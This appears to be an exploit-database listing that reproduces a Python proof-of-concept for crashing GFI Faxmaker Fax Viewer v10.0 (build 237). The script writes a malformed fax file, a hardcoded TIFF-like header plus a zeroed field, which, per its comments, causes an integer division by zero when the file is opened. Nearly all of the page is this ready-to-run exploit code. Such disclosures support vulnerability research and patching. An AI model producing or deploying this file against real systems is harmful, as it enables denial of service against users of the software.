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GFI Faxmaker - Fax Viewer v10.0[build 237] DoS (Poc)

🗓️ 27 Oct 2011 00:00:00Reported by loneferretType 
zdt
 zdt
🔗 0day.today👁 18 Views

GFI Faxmaker Fax Viewer v10.0[build 237] DoS (Poc). Integer division by zero vulnerability

Code
#!/usr/bin/python
  
# Title: GFI Faxmaker Fax Viewer v10.0[build 237] DoS (Poc).
# From: The eh?-Team || The Great White Fuzz (we're not sure yet)
# Found by: loneferret
# Home: http://www.kioptrix.com
# Manifacturer's link: http://www.gfi.com
   
# Date Found: Oct 28th 2011
# Tested on: Windows XP SP3 Professional English / Windows 7 Professional 64bit French
# Tested with: 32bit & 64bit versions of Faxmaker
# Nod to the Exploit-DB Team
 
# Software Description:
# GFI FaxMaker is a market leading fax server software for Exchange Server,
# Lotus Domino, SMTP/POP3, which makes sending and receiving faxes an efficient,
# simple and cheaper process. GFI FaxMaker allows users to receive and send faxes
# directly from their email client.
 
# We get an "Integer division by zero" in Immunity when opening the fax file.
# Nothing fancy, but maybe something can do more... eventually.
# As always, have fun.
# loneferret
 
head = ("\x49\x49\x2A\x00\x08\x00\x00\x00\x10\x00\xFE\x00\x04"
"\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x01\x03\x00\x01\x00\x00\x00"
"\xC0\x06\x00\x00\x01\x01\x04\x00\x01\x00\x00\x00\x94\x08\x00\x00\x02"
"\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x03\x01\x03\x00\x01\x00"
"\x00\x00\x03\x00\x00\x00\x06\x01\x03\x00\x01\x00\x00\x00\x00\x00\x00"
"\x0A\x01\x03\x00\x01\x00\x00\x00\x02\x00\x00\x00\x11\x01\x04\x00\x01"
"\x00\x00\x00\xDE\x00\x00\x00\x15\x01\x03\x00\x01\x00\x00\x00\x01\x00"
"\x00\x00\x16\x01\x04\x00\x01\x00\x00\x00\x94\x08\x00\x00\x17\x01\x04"
"\x00\x01\x00\x00\x00\xB0\xF8\x00\x00\x1A\x01\x05\x00\x01\x00\x00\x00"
"\xCE\x00\x00\x00\x1B\x01\x05\x00\x01\x00\x00\x00\xD6\x00\x00\x00\x1C"
"\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x24\x01\x04\x00\x01\x00"
"\x00\x00\x04\x00\x00\x00\x28\x01\x03\x00\x01\x00\x00\x00\x02\x00\x00"
"\x00\x00\x00\x00\x00\xCC\x00\x00\x00\x01\x00\x00")
 
buffer = "\x41" * 5
buffer += "\00" * 4 # <-- " Well there's your problem! "
 
 
 
badfax = head + buffer
 
file=open('bad_fax.fax','w')
file.write(badfax)
file.close()



#  0day.today [2018-04-05]  #

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